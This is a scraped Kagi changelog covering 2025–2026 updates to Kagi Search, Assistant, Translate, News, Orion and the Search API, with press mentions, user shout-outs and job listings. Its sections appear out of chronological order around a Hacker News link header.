This update is all about giving you more control and a better experience. Enjoy!

And other bug fixes and improvements,

Kagi Translate

  • Fast/Best quality toggle: select quick processing or maximum accuracy
  • Add english language varieties to list of supported languages JR
    . Automatically switch to/from language, when typing text from "to" language in the input field TomA
  • Swiss german/high german bobobo1618
  • Import translation history tauon
  • Separate setting to specify dictionary language Kurotsuchi
  • Voice selection for TTS frin
  • Support RTL languages in text fields kaguru
  • Clear dictionary definition after changing source language pim
  • Show voice gender in dropdown frin
  • Preload essential images Thibaultmol

Kagi on socials

This week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news

  • Digital Trends features an article about what makes Kagi worth paying for.
  • Frandroid, a popular French technology publication, published a piece about Kagi being an ideal alternative to Google. Read with Kagi Translate here.
  • Spider's Web, a prominent Polish tech site, wrote about the importance of a search engine like Kagi that puts users' interests ahead of ads and other incentives. The article also emphasizes Kagi's dedication to privacy and supporting the small web. Read with Kagi Translate here.
  • Tecnobits featured an article about how Kagi improves your search experience:

Everything you see on Kagi is there because it's useful, not because someone is behind it paying for clicks.

Kagi shout outs

  • Neel Dhanesha at the Nieman Lab published an article about Kagi highlighting its extensive features and the advantages of having full control over your search experience:

After testing Kagi both as my everyday search engine and as a research tool for a working journalist, I’ve been delighted to find that it’s the search engine equivalent of a Honda Civic: reliable, unobtrusive, and able to get you where you need to go.

Kagi gives me better results than Google, it lets me pay with money instead of my privacy, and it works great everywhere, even in Safari.

Paying for Kagi today feels a lot like paying for HBO back in the cable TV heyday. Part of the deal is that you are paying for ad-free service, yes. But you’re also paying for noticeably higher quality. [...] It’s that good. No ads, no unwanted AI (but very good AI results if you want — just end your query with a question mark), and better search results.

I totally think it's worth the money.

My inaugural experience using Kagi was eye-opening: on my first search I got a genuine blog post instead of yet another click-bait AI-generated article. Think about it for a second: when was the last time you got someone's personal blog at the top of your search?

Industry news

The latest developments in the tech and search industries that captured our attention and reinforces our mission:

Real cost of "free"

A few weeks ago, reporter Aaron Pressman described how "free" search engines come at an actual financial cost, sharing his journey that ultimately brought him to Kagi.

Artist Chaz Hutton helped us illustrate how a Kagi subscription can save you money in the long run by eliminating the many hidden costs associated with "free" search engines:

April 17, 2025 - Kagi Assistant rolls out to all Kagi users #

Announcements

Kagi Assistant is now open to all plans

We're happy to announce that Kagi Assistant is now available to everyone , across all subscription plans!

Check our announcement blog here .

To use Assistant, head to kagi.com/assistant .

⚠️ Note: We are enabling the Assistant for all plans in phases, based on regions starting with USA today. The full rollout is scheduled to be completed by Sunday, 23:59 UTC.

With this release, we are beginning to enforce our fair use policy to ensure a sustainable, high-quality service for everyone as we expand access. Basically our policy states that you can use AI models based on your plan's value. For example, a $25 monthly plan allows up to $25 worth of raw token cost across all models (there is a 20% built-in margin that we reserve for providing searches, development and infrastructure for the service). This impacts only a very small percentage of users with extremely high usage patterns and is a simple way to control usage, compared to arbitrary usage limits. Our goal is to ensure broad availability without users needing to worry about typical usage. Affected users can currently renew their cycle instantly, with more flexible credit top-ups planned soon.

We're very happy to offer Kagi Assistant as another optional tool to support your work and exploration online. Let us know what you think via our feedback forum or Discord ! Also see our documentation for Assistant .

Release notes

Search

Assistant

Translate

We've launched our brand-new UI and a bunch of new feature to make your translation experience exceptional! We are incredibly proud of the work on this product. Check out Kagi Translate .

Improvements and bug fixes:

  • Enhanced alternative translations now provide insight about the main translation
  • Dictionary entries can now appear in the input box
  • Added 81 languages to the supported list some-user Ademalhanolu
  • If you can't still find the language you are looking for, you can just type it in jvbf
  • Default Target Language option - your locale language will be automatically set as the default "translate to" language instead of it defaulting to the last one you used.
  • New website translation views - while translating a website, you can now view both the original and translated versions in a horizontal or vertical split. Drag your mouse in the middle to resize the iframes to your liking.
  • Audio download now available for translations peterfgalbraith
  • Can't type correctly using an IME ining
  • URL field not having same padding as language field RoxyRoxyRoxy
  • 1password trying to auto complete context field incorrectly frin
  • Corrections counter in proofreading mode batuhan
  • Setting to disable custom CSS (inspired by someoneiknow )
  • Pick what meaning from the dictionary entry to use for translation Kurotsuchi
  • Increase context max characters limit for Kagi Search subscribers Kurotsuchi
  • Translator: Kyrgyz shows up twice #6700 @Kel
  • There is 2 Detect language #6783 @batuhan
  • Kagi Translate language selection filter not working #6583 @psaints
  • 3 Norwegian options in Kagi translate #6685 @Temanor

Kagi on socials

This week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the news

I resisted this one for a long time, but now that I’ve started using it I can’t go back. Google search is broken and Kagi works like magic.

  • City Magazine explores the future of search engines, discussing how paid models like Kagi could pave the path forward.
  • HubSpot's The Hustle highlights how Kagi offers a premium experience for users willing to pay for quality.
  • Kagi was featured on de Volkskrant , a Dutch newspaper, about what sets it apart as a search engine. Read with Kagi Translate here.
  • Ars Technica included a short statement from Kagi in an article about Apple being barred from testifying in Google's antitrust trial.
  • The Knowledge newsletter featured Kagi as a search alternative with advanced features that is worth exploring.

Kagi shout outs

As for me? I’ve voted with my wallet. I now use Kagi for search (and pay for it gladly)

I switched to Kagi from the enshittified Google search engine last year, and I’ll never go back. No ads, no sponsored links, no tracking your searches, no selling your data, no clutter.

  • Parth Shah tested 8 search engines, stating the following about Kagi:

Kagi was new to me before this study, but it stood out quickly. It’s a paid search engine with no ads at all. The results were accurate, useful, and easy to read. I also liked the clean layout. [...] Kagi quickly became my favorite.

Have a Kagi review you'd like to feature? Please share it and ping us on any of our various socials when you do!

Industry news

The latest developments in the tech and search industries that captured our attention and reinforces our mission:

Search smarter with Kagi

We partnered with artist Chaz Hutton on a graphic that illustrates how Kagi empowers you to search without the noise, trackers and distractions. Help us share it widely!

Tokyo, meet Kagi!


As noted previously, from April 21–25, Kagi’s team, including CEO Vlad, will be in Tokyo 🇯🇵 to meet companies and connect with the local community. If you are a local Kagi user, we'd love for you to join us for casual food&drinks! If interested, please contact Gillian at gillian@kagi.com to arrange.

March 21st, 2025 - Leveling up the Kagi Assistant experience, meet Kagi in Tokyo, and more... #

Next chapter in the Kagi Assistant experience

With this release, we're introducing a new sidebar , designed to streamline your workflow and keep everything you need within reach. This is just the beginning - the new sidebar lays the foundation for even more powerful features to come.

We're also rolling out Claude 3.7 Sonnet with extended thinking to tackle even more complex challenges.

As always, we’d love to hear your thoughts - join the conversation on Discord or share your feedback through our forum at https://kagifeedback.org

Kagi, lost in translation, in Tokyo!

From April 21 to 25, a dedicated team from Kagi including CEO, Vlad, will travel to Tokyo 🇯🇵 to meet with companies interested in our advanced translation solutions. If you are based in Japan and your company is interested, please get in touch with Gillian.

We'd also love to meet our local user community while we're there. If you're based in Tokyo, we'd love to organise a dinner and connect in person . Looking forward to great conversations and good food with fellow Kagi fans!

Please contact Gillian at gillian@kagi.com to arrange.

Jobs, jobs, jobs

We are looking for a Head of Business Development and a Technical Architect (basically CTO equivalent in Kagi world).

Head out to Kagi hiring to apply and check out other open positions.

Improvements and bug fixes

Search

Based on the community's feedback, we’ve added a setting to always hide AI-generated images by default (suggested by #5998 @keyboardJones ). You can enable it on Settings>Search>AI .

Kagi Assistant

Kagi Translate

  • Add token and other URL parameters to make it easier to use translate in private mode aminomancer
  • Fix translation of Catalan traditional time turly
  • IP URLs not being detected Hanbyeol
  • Inaccurate one-word translations nichu42 JW
  • Copied translation incorrectly removes line breaks LunarWatcher
  • Sync translation theme and language from Kagi Search frin
  • Add section in language picker for most commonly used languages Marcin
  • Fix some words being incorrectly identified as URLs nichu42
  • Add support for markdown goulot_situez
  • Clicking a link from a translated website doesn't redirect to translation of that page Rexios
  • Alternative translations getting cut off Peter
  • Page flashes in light mode theme for a second before turning dark nichu42
  • Source textarea steals focus while user is typing elsewhere tuesday
  • Selection of output text is unreliable on Firefox bkrein
  • Load alternative translations for user-selected text in the output box nichu42
  • Text alignment: When user hovers on input text, highlight the corrisponding part in the output RoxyRoxyRoxy

Orion browser release: smoother, smarter, and more secure

This week's Orion release brings big upgrades:

🔐 3rd party Password Managers & Adblock
We have updated support for uBlock Origin, 1Password, and Bitwarden extensions.

👓 User Interface
Several improvements concern vertical tabs, the sidebar, and favicons.

📺 Youtube and PiP
Several improvements enhance the use of Youtube and the Picture-in-Picture feature.

🪲 Crash fixes & Stability
Bye bye crashes on launch, instability if the browser stays open for a long time, and freezes.

For all the details, please refer to Orion's changelog .

Kagi on Socials

This week's featured social media post :

Tag our accounts or use #Kagi when mentioning us in your posts!

Kagi in the News

  • This TechCrunch article mentions Kagi as an option for users who prioritize not just a better search experience but also a more privacy-focused search.
  • OMG! Ubuntu covered Orion's expansion to Linux.
  • t3n, a German tech magazine, also featured Kagi , highlighting it as a privacy-friendly and ad-free alternative. Read with Kagi Translate here.

Kagi Community Reviews

We are deeply grateful to everyone who takes the time to share their experiences, tips, and feedback about Kagi, helping to spread the word and inspire others to discover its value. Here are some recent reviews to highlight:

Have a Kagi review you'd like to feature? Please share it and ping us on any of our various socials when you do!

The Kagi Way

We partnered with artist Chaz Hutton on a graphic that illustrates how Kagi empowers you to search without the noise, trackers and distractions. Help us share it widely!

Search for everyone

Hacker News
kagi.com
2026-11-05 15:03:34
Comments...
Original Article

Nov 5th, 2026 - Your friends and family can finally try Kagi #

Kagi Search

Search for everyone

As many of you know, we don't run ads anywhere . Instead, we are active on social media and online communities to stay close to you, build a great product, and rely on word of mouth .

We've heard that it can be hard to recommend a search engine when your friends can't try it without creating an account. That's changed: anyone, anywhere, can now visit kagi.com and search the web . No account required for the first 50 searches (100 more upon registration).

We are counting on you to spread the word to your friends and family <3


Our new landing page for new users

Our take on the latest Search industry news

Google announced that, starting in early 2027, AI tools will be turned off by default for school accounts. It sounds like a win for schools until you read that Google Search will be switched off along with them.

Our take: Education shouldn't be taken hostage by an advertising company. Let’s stop putting corporate profits over the imperative to educate students.

Our call to schools facing this choice: You don't have to accept it. There are alternatives to mandatory AI, and, yes, Kagi is one of them.

Our open letter to the tech industry: Education Shouldn't Be Held for Ransom

Android app

The Kagi Search app on Android has a redesigned home screen, rebuilt voice search, and new ways to reach Kagi from anywhere on your phone.

The redesigned Kagi home screen shows search controls and the remaining free searches.

  • Added a short tour on first launch that shows what Kagi can do, from bangs and lenses to ranking sites and voice search
  • Redesigned the home screen, which now shows how many free searches you have left when you're trying Kagi without an account
  • The search bar, logo and tabs on results pages are now native, and tuck away as you scroll
  • Rebuilt voice search with its own screen and a new animation
  • Choose the language for voice search
  • Added a voice search tile to Quick Settings
  • Add home screen widgets and the Quick Settings tile straight from Settings > Home Screen Widgets
  • Added a Default Search Setup guide for making Kagi the search engine in your browser
  • Paste an image into the search field to search by image
  • Added a Quick Answer button next to search suggestions
  • Assistant and Summarize now open in the app with a close button and a menu to reload, copy the link, or open in your browser
  • Bang searches now follow the Result Opening setting
  • Fixed Privacy Pass searches showing a blank page after a token key rotation

Other improvements and bug fixes

Note: we added a small banner to warn you if your browser logs you out by mistake. This ensures you know when you've landed on our new explore flow (Kagi's discovery version), which offers a degraded experience compared to your paid plan.

A banner identifies guest searches and provides a link to log in

Kagi Assistant

Apps

Shared threads now jump straight into the native app, and we’ve completely redone voice input so speaking a prompt is just as fluid as typing one.

Finally, a lot of you mentioned it was too hard to tell when a temporary thread was actually temporary, so we reworked the icons and cues to make going off the record unmistakable. Please tell us if it hits the mark .

Other improvements and bug fixes

Kagi News

Kagi News has been featured on Google Play! The editorial spotlight highlights our approach to keeping you informed without the overload, with credible global reporting, clearly cited sources, and multiple perspectives on every story.

  • One event, several angles: stories covering the same event in different categories no longer repeat each other
  • Settings redesigned, with clearer language options
  • Mark each duplicate story in other subscribed categories as already read after I read it in one category #8604 @thunb
  • Image captions showing HTML tags kite-public #611

Kagi Translate

Web

  • Proofread shows corrections as they arrive
  • Reloading the page or going Back keeps your finished translation
  • More accurate Sorani, Kurmanji and Latin translations
  • Better PDF tables and Hebrew text, and smaller translated Office files
  • Long pasted text collapses on phones
  • If your Kagi plan shares its AI allowance with Assistant, Translate shows how much of it is left

Extension

  • Your AI allowance on the Statistics page
  • Best quality for the translation popup and integrations

Other improvements and bug fixes

Small Web

Apps

  • Added missing topics - Design & UX, Work & Business, Sports
  • Your selected topic will now be persisted across app opens
  • Hide the topics you're not interested in, and the app remembers your choice!
  • Haptic feedback and accessibility improvements across the board
  • Bug fixes and UI refinements to polish the app's design

Small Web’s topic filter lets you choose categories and hide unwanted topics.

Oct 16th, 2026 - Smarter search widgets, Privacy Pass upgrades, and a calmer Assistant #

Search

  • We added a small animation to the coin widget – and clicking the coin does another flip! Try it for yourself!

Improvements and bug fixes

Browser Extensions & Privacy Pass v1.0.13

  • Kagi Search Extension Firefox Container Support #11563 @michaeljcallahan
  • Provide option to disable adding context menus in Firefox extension #8139 @emptyjar
  • Privacy Pass now works with Quick Answer & Inline Summarize features
  • Fetching session cookies no longer fails under First-Party Isolation ( privacy.firstparty.isolate ), which is the default in the Tor browser
  • Website Info doesn't work on Privacy Pass #11609 @Kagi_Search_User

Assistant

  • Response steps are now fully collapsible, giving you a calmer space to get all your work done.
  • A Help menu has been added to the sidebar for quick access to helpful links.
    {Assistant Help menu in sidebar}

Apps

  • We saw reports from users unable to send follow-up messages on the mobile apps. This issue has been resolved. We apologize for the inconvenience.

Improvements & Bug Fixes

Translate

  • Kagi Translate has turned my blog post into a kagi.com page that outranks me, untranslated #11490 @AviD
  • Centred, dynamically expanding YouTube subtitles are nearly unreadable #10283 @JR

Translate Extension

Sept 10th, 2026 - One login for all of Kagi, and Translate reopens to everyone #

One login for every Kagi product

Kagi now has a single account for all of our products, managed at https://account.kagi.com . This update also adds passkey support , one of our longest-standing requests. #15 @Kai

What changes for you

For most people: only the sign-in page. The next time you sign in you'll be taken to account.kagi.com, and your existing email, password, and 2FA continue to work unchanged. Password and 2FA settings are managed there from now on.

A few cases work differently:

  • Social login (Google, Apple, GitHub, Microsoft): your account will be migrated when we switch over the login page in the coming days. Nothing to do until then.
  • Kids accounts are not migrating and continue to sign in with the passcode received by the account owner.
  • Kagi Mail early testers whose Mail account uses the same email as their Search account: the two are now one account. Sign in with your Kagi Mail password and it works for Search as well.

Action required if you use 2FA: backup codes were not transferred. Generate new ones at https://account.kagi.com/account/security/recovery after signing in. We'll also email you a reminder in the coming days.

Suggestions or bugs with the new platform belong on https://kagifeedback.org . If something looks wrong with your account, write to support@kagi.com .

Kagi Translate

Kagi Translate is now freemium: every Kagi account gets a monthly allowance, and heavy users can subscribe to a new $8/month Individual plan .

Existing Starter, Professional, Family, and Team subscribers keep their current access until October 12, 2026 . After that date they move to the free tier unless they upgrade to Individual or Kagi Ultimate.

Read more about the changes →

Also new in the Translate browser extension:

Kagi Assistant mobile apps

When sharing an image or file into the app, you can now start a new thread or share into one of your existing threads.

Thread retention options, thread sorting, and message reporting are now available in the mobile apps.

Kagi Maps

Measure tool is back on mobile

The measuring tool is available again in the compact mobile controls, with visible drawing lines and measurements. Tapping the map while measuring adds points without opening place details, with the ability to toggle between distance-or-area measurements, (units set in Setting Sidebar)

Directions and navigation refinements

Several quality-of-life updates as part of active ongoing improvements to directions and navigation - clearer animations, text, button layout, etc.

Other improvements and bug fixes

Kagi Search

Kagi Assistant

Web

Mobile apps

Kagi Translate

August 21st, 2026 - A new Stocks widget and a better everyday Assistant experience #

Kagi Search

Bringing Stocks up to speed

We've revamped our Stocks widget. It should appear more often when you need it. It can now display information about exchange-traded funds in addition to stocks. Most importantly, it now features a price chart, with animations between time windows that instantly contexturalize how big the price fluctuations you're seeing are compared to the wider story:

The stock widget showing animated transitions between 3 month, 1 year, 5 year, and 1 day price charts

As well, we've added a setting for removing paywalled links from search results automatically.

Kagi Assistant

Everyday use just got smoother

Richer messages
User messages now render links, Markdown, and LaTex. #6674 @oxlvlnle , #3283 @EvacuatedTerminal

More powerful search
Search across all your threads, sort by recency or alphabetically, and start with / to filter by folder.

More control with calmer settings
Now you can choose whether temporary threads stick around for 24h, 7 or 30 days. All within a calmer, easier-to-scan settings experience.

Other improvements and bug fixes

Kagi Search

Kagi Assistant

Assistant Mobile Apps

  • Keyboard shortcut preference to submit prompts on iPads with connected keyboards
  • Back swipe on left side of Kagi Assistant interferes with Android guestures #11126 @mb
  • After opening Kagi Assistant, back swipe on the right side closes the app #11127 @mb
  • Choppy animation in Assistant app #11134 @Temanor
  • Web Search toggle state not maintained between app switches #11140 @ryonic
  • Cannot Login Kagi Assistant 1.0.4 on iOS #11146 @hirsheykiss

Kagi Translate

July 30th, 2026 - Kagi Assistant on the go and design refinements for Search #

Announcing the official Kagi Assistant apps

Kagi Assistant is now available as a native app for iOS and Android !

Ask a question, explore the web, work with files, conduct in-depth research, or choose from leading AI models, all from your phone. Your threads and Custom Assistants stay with you, so you can pick up wherever you left off.

These are the first steps towards delivering a fantastic Kagi Assistant experience on mobile, with much more to come.

Download it now:

Give it a spin and let us know what you think!

Report responses directly from Kagi Assistant

You can now report an assistant response without leaving the conversation. Hover over any assistant message and select the thumbs-down button to open the feedback form, where you can report issues for reasons ranging from UI bugs to harmful content.

Note that when you submit a report, the full thread is shared with Kagi for review. The report and its associated copy of the thread are automatically deleted from Kagi’s review records after 30 days.

Export or delete all your threads

We've also added important controls, so you can now export all your threads or permanently delete them at once from Settings > General .

Kagi Assistant settings panel in dark mode showing the General settings tab, with a modal dialog open asking  with Cancel and Delete all buttons.

Kagi Search

A sharper search experience

We’ve polished the search results page to make its controls easier to find and understand. From the filter bar to domain-related options and menus, these updates bring greater clarity and ease of use to the features you rely on most.

Exchange rates, right in your search results

Next up in our broader effort to improve search widgets: currency conversion. Comes handy when you’re planning a trip, shopping abroad, or simply want to keep tabs on exchange rates.

Kagi search results page for the query  displaying an inline currency converter showing 100 ISK equals 1.12 Canadian dollars.

Other improvements and bug fixes

Kagi Search

Kagi Assistant

Kagi Translate

  • Kagi Translate reloads the page when using website translate #10852 @tijol
  • Dictionary now shows language-specific grammar details, starting with Czech animate/inanimate nouns
  • Proofread no longer suggests changes to text that was already correct, such as de-capitalizing German nouns
  • Translations no longer occasionally come back untranslated
  • Translations keep proper typographic punctuation instead of straightened quotes
  • Alternative translations now work when selecting part of a longer text
  • Double and triple-click selection in the translated text works as expected, and the alternatives panel no longer flickers while loading
  • "New version available" banner appears less often and supports dark mode
  • Reset-All Button for Translate #10999 @erakagi
  • Document Translate for Typst #11098 @weriomat
  • Palestinian Arabic in Translate #11006 @zsoltsb
  • Phonetic Translation Placement #10699 @dwahdany
  • Myanmar alias for Burmese #10495 @mb
  • Translation History panel cannot be closed in Brave (Windows 11) #10997 @vshlapakov
  • Prompt being read prior to translated word #10974 @kagifeedback-1xxkg
  • Kagi Translate Audio Broken #10923 @levers

Kagi News

July 2nd, 2026 - Heads, tails, and an AI toggle #

Kagi Search

New controls to completely turn off AI-based features in search

We've added an option to disable access to AI features in search, under settings/ai .

We're also planning to add this option to onboarding, so new users can personalise their Kagi experience from the start.

It's finally here! We believe that Kagi's application of AI should always be useful - there when you'd like it, and never when you don't, and always respecting your privacy.

This took us some time to navigate the right way to communicate this option. We did not want to create a confusing narrative as a company adding a toggle while continuing to invest in AI features elsewhere in our portfolio. But in the end, we want to stay true to putting you in control of your search engine - so here you are!

We deeply thank the community for their feedback and patience.

Flip coins and more sports widgets

By popular demand, our dice widget has gained the ability to roll dice with any number of sides. We're not sure what kind of games you're playing that need d7s, but we support them now.

We also added support for flipping coins, which are really just two-sided dice when you think about it:

Kagi search results page for the query 'flip 2 coins' displaying a widget that reads '1 head' alongside two illustrated coins.

We've added a set of switches on https://kagi.com/settings/more_search so you can disable any of our widgets you don't want to see. The toggle descriptions include links illustrating the widgets' capabilities so you understand what you're turning on or off; go check it out!

Settings page titled 'Widgets' listing three enabled toggle options: Calculator, Time & Date, and Package Tracking.

Orion browser ✴︎

This week, we’re launching Orion 1.1 for macOS , one of the most significant updates in our history. This version is built around three major new features (in addition to 170+ smaller improvements and bug fixes).

A New Interface ✴︎
When Apple released LiquidGlass , the reception was mixed—even within our own team. The demand was there, but we weren't ready to just copy-paste what Safari had done. They had even removed compact tabs!
So, we created our own implementation.

Containers ✴︎
Just like Firefox, we now offer containers. What are they? Each tab becomes completely isolated from the others: total privacy and the ability to log into multiple accounts on the same site from the very same window!

Browser window showing the Facebook login page with a container menu open offering options to open a new tab in different containers such as Shopping, Social media, or Flights.

A Personalized Browser Border ✴︎
The current trend is an elegant, transparent border seen on many browsers. The problem is, they don't match Apple's design language. So, what did we do?

As we usually do: we made it an option! And we took it even further: transparency, solid colors, gradients, and even an automatic color-match with the website for total immersion.

This option is exclusively available to Orion+ subscribers.

Orion+
Orion is your free browser, but we offer a support plan to maintain the independence that guarantees your data is not, and will never be, sold to advertisers—or worse.

We have a dedicated website where you can download all the versions we currently support, as well as any we may support in the future (macOS, iOS, iPadOS, Windows, and Linux): https://orionbrowser.com

Kagi News & Kagi Translate

Kagi News and Kagi Translate have both been successes that took us by surprise.

Kagi News users from all over the world loved being able to read their news in the language of their choice, stress-free, and even add new topics.

Kagi Translate users loved the contextual features that provide a spectacular translation quality — far beyond what typical machine translation offers.

But these unexpected successes led to a massive spike in our costs for applications offered for free.

As a result, we have temporarily removed translations and left access to the articles’ original languages as well as English. Kagi Translate will be back in the coming days as a subscription-based service.

Thank you for your patience and your trust 🙏 we hope to have everything up and running again very soon!

Other improvements and bug fixes

Kagi Search

Kagi Assistant

June 16th, 2026 - Search widgets catching up, Assistant starts fresh #

Bringing search widgets up to speed

We’re starting a broader effort to improve our search widgets! First up: sports scores and dice rolling.

Sports scores now show up in a sidebar next to search results, so you can quickly check upcoming games, live scores, and recent results, just in time for the World Cup .

A screenshot of a Kagi search results page for `world cup games` displaying FIFA World Cup 2026 scheduling information and a side panel showing live and finished match results for various international groups.

And we’ve also added dice rolling support for all you gamers out there, in case you ever need to roll a d20 , 2d4 + 2 , or perhaps even 8d6 .

The new Kagi Assistant is here

Over the last few weeks, we’ve been rolling out a new Kagi Assistant experience. Most of you are already using it, and today we’re officially retiring the old assistant.

This is more than a visual refresh, we rebuilt the Assistant experience around a new layout, smoother web and mobile use, and a lot of UX improvements that add up quickly.

And just as importantly, this gives us the foundation we need for the next set of Assistant improvements we’ve been working towards.

Note: there is one notable change - folders have replaced tags. This means each thread can now belong to only one folder. We appreciate this is a downgrade for users who relied on multiple tags per thread, and we don’t want to handwave that away. We made this tradeoff because folders give Assistant a simpler, more predictable organisation model, and because multi tag usage was relatively low: about 20% of active accounts used tags at all, and appx 4% had any thread with more than one tag.

Still, for those affected, we understand this change may be frustrating. Thank you for bearing with us as we build towards a stronger Assistant experience!

Kagi Translate update

We've paused free access to Kagi Translate while we sort out running costs, so you'll need to be signed in to use it. If you have an active subscription, Translate still works. Sign in on translate.kagi.com or in the mobile apps. We share more details on this decision in this blog post .

Other improvements and bug fixes

Kagi Search

Kagi APIs

  • NEW: Extraction now keeps links from the original document, to enable deeper crawling flows.
  • NEW: Related searches is now part of the API responses, with more metadata than the v0 version where applicable.
  • NEW: Per-key cost tracking is now enabled. You can select a key in the usage page to see the specific key cost attached. (Cost tracking only available from when we deployed, historic data is not present.)
  • Fix: Extraction is now faster and more reliable.
  • Fix: Personalization rule types are now correctly validated with the doc types.
  • Fix: Various other internal improvements for a more stable experience.

Kagi Assistant

Kagi Translate

Post of the week

This week's featured social media mention:

Bluesky post from public health guy saying: been using it for a few years and it's basically my third most important subscription now, after internet and water

Featured Kagi tip 💡

Here's a guide on how to make Kagi truly yours with custom CSS. Tweak colors, fonts, and layout, hide elements you don't need, or apply a community theme for a search experience that looks exactly how you want.

Collage of Kagi Search screenshots showing custom CSS themes, with handwritten labels pointing to a high contrast view for low vision, glassy image search effects, a tighter compact layout, and a custom color scheme palette.

May 21st, 2026 - Search API preview opens to all users #

Kagi Search API is now in public preview

Today we’re making the Kagi Search API preview publicly available, giving builders access to Kagi search across web, images, videos, news, and podcasts. The API is ready to use today, and we’re using this preview to transition existing beta API users, collect feedback, and finish the remaining launch details before the official announcement.

As a thank you to our subscribers, we’ve added $5 in API credits to your account. You can use them right away to try the API, explore what’s possible, and see how it fits into your workflow.

Explore the API , read the docs , and check pricing to get started!

The API is not just a generic search endpoint, queries can inherit the preferences attached to the Kagi account behind the API key, including lenses, upranks, downranks, and blocklists, so applications can search through the same trusted and filtered view of the web that users have already shaped in Kagi.

Please send us candid feedback : what’s confusing, missing, broken, or unexpectedly good! Try it out !

Search

Incognito-only mode for Privacy Pass

Our Privacy Pass extension, which allows you to prove to our servers that you're a subscriber without revealing your identity, has gained a long-awaited toggle that makes it active only in incognito windows, so you can benefit from personalized results most of the time but have added anonymity for your more sensitive browsing. The extension was almost completely rewritten in the process, squashing several long-standing bugs. Try it out!

Assistant

Kagi Translate

New on the Kagi Translate mobile app

Support for custom languages, explanations for alternative translations, word suggestions for dictionary mode, app shortcuts, and many other improvements!

Grab the app if you haven't already: Android or iOS

Post of the week

This week's featured social media mention :

Featured Kagi tip 💡

We put together a guide on using Kagi for academic work - the features, shortcuts, and search habits to get precise, more relevant results.

Around the block

A handful of posts worth sharing with our community:

Kagi video

A quick video from our team to serve as a reminder of what Kagi is all about: the web, and your time on it, belong to you.

April 30th, 2026 - Kagi API preview and ecosystem updates #

Kagi APIs: the same search technology that powers Kagi is opening up to developers

Starting next week, we’ll begin onboarding developers to the Kagi API dashboard. Access will roll out first to people who joined the API waitlist or contacted Kagi support.

With the new Search API developers can bring Kagi Search into their own apps, tools, and AI systems. Here's an early look:

Kagi API developer dashboard Overview page

If you'd like to join this early preview of the Kagi API, please fill out this form. We'll reach out next week!

Kagi Search

New landing

We updated our landing page to bring awareness to Kagi's wider ecosystem beyond search. Check it out!

This is the first of many steps toward helping more people discover everything Kagi has to offer.

Kagi Assistant

  • We increased the Assistant's file upload size limit to 30 MB #8872 @mrzv
  • Degradation of file analysis functionality in Kagi Assistant #10290 @v3max
  • Umlauts are sometimes not displayed in the Quick Assistant #9289 @Kel
  • Universal summarizer "Continue in Assistant" button fails: "We are sorry, this input is not supported. (Invalid Input)" #10368 @Self-Perfection

Kagi News

  • Kagi News -> timeline ambigious #8525 @yeri
  • Story corrections, both from user reports and our own continuous fact-checking. When something turns out to be wrong, we fix it and show a small correction notice on the story, with the changed sentence highlighted on your next visit.
  • Stories can pull in related coverage from other categories, so a single big story can span Science, World, and Tech when it makes sense.
  • Cleaner prose in hard-news categories: fewer filler phrases, less editorializing, more neutral writing.
  • Snappier all around: faster initial load, much faster story search, and browser back/forward now restores the page instead of reloading it.
  • Custom category order syncs reliably across devices now. Fixed several cases where reorders were lost or overwritten.
  • Category tabs use proper ARIA semantics for assistive tech.

Kagi Translate

  • Keyboard shortcuts in Kagi Translate #10306 @mb
  • Poor text formatting of image translations on Kagi Translate app #10016 @San
  • Pinyin absent for alternative translations #10340 @phuertay
  • Add Seto and Võro to Kagi Translate #10324 @mb
  • Correct file extensions when saving translations #10311 @mb
  • Add Montenegrin as an option in Translate #10230 @mb
  • Pasting text in Translate app is hard #10047 @marty
  • Pasted text from books or PDFs is auto-formatted: broken mid-sentence line breaks, hyphenation across lines, and stray whitespace get cleaned up. An undo toast lets you revert if you wanted the original.
  • Auto-language switch now shows a toast with undo, and skips ambiguous cases like uncertain, mixed, or mid-typing input.
  • Pin any language to the top of your list, including custom or non-standard ones.
  • Romanization shown beneath alternative translations into Japanese, Chinese, Korean, Arabic, Russian, and other non-Latin scripts.
  • Link previews (Open Graph) for translated text now show the actual translation when shared on social media, instead of a generic logo. The /extension page also got its own dedicated preview.
  • New languages: Seto, Võro, Montenegrin, and Badini Kurdish (with both Arabic and Latin Hawar scripts).
  • Formal Ukrainian now correctly capitalizes Ви and Ваш.
  • Downloaded translations get the right file extension based on the detected content format.

Post of the week

alt

Follow us and tag us in your comments, we love hearing from you.

Kagi is growing

The team is expanding, and we're looking for talented people who want to help build a better web alongside us. We're hiring for multiple roles, including:

  • Product Designer (UI/UX) : Take strategic ownership of end-to-end design across Kagi's product ecosystem. Apply here.

  • An Education Partnerships Lead : If you believe the most important thing technology can do for students is teach them how to think for themselves, we'd like to talk. Apply here.

  • A Senior Platform Engineer : If you have strong opinions about API contracts, auth correctness, and migrating user data without losing anyone's trust, we'd like to talk. Apply here.

We also have openings for a Senior Search Engineer, Senior Platform Engineer, Senior Full-Stack Developer (Kagi Labs), and an AI Specialist. See the full list of openings here.

Kagi tip of the week 💡

Between AI-image filters, clickbait controls, reverse lookup, and source filters, there's a lot of power hiding behind the Images and Videos tabs. Here's how to get the most out of them .

Kagi art

Less scrolling, more living.

Cartoon illustration with the text "Most search engines want to keep you scrolling. Kagi wants to set you free." Below, two stick figures exchange a glowing box labeled "what you were searching for"—one says "Found it! Now go and enjoy your day!" and the other replies "Perfect!"

April 9th, 2026 - Tuning the Orchestra #

Improvements and bug fixes

Kagi Search

Kagi Assistant

Kagi Small Web

  • iOS Small Web Dark Mode App Icon #10136 @Cal4T5
  • Add a tap-based way to switch posts
  • Fixed incorrect text formatting for bookmark titles

Kagi Translate

  • Warning badge when translating to/from language using custom instructions
  • Wordplay and puns lost in translation are now detected and surfaced to the user if word insights are enabled @zark
  • Fixed Spanish text sometimes appearing in French translations on Standard mode @UAguy
  • Fixed Japanese/Chinese/Korean IME first character being lost in empty editor @jisaker
  • Proofreading a Word Document #8810 @jmvleal
  • Translate UI does not respect settings #9944 @mmartinortiz
  • Fix: clear button not working on mobile due to composing state #unknown @unknown
  • Same Language bug #10134 @KikoAnimations
  • Fixed website translation stacking duplicate header bars when switching languages, and Google redirect URLs not being unwrapped
  • Fixed clear button not working on mobile after pasting, restoring history, or during keyboard composition
  • Fixed error when pasting rich text from webpages
  • Fixed translation between same-language variants (e.g. pt-BR to pt-PT) echoing input instead of translating
  • Fixed intermittent text-to-speech 503 errors
  • Renamed "Azeri" to "Azerbaijani" to match ISO 639 standard
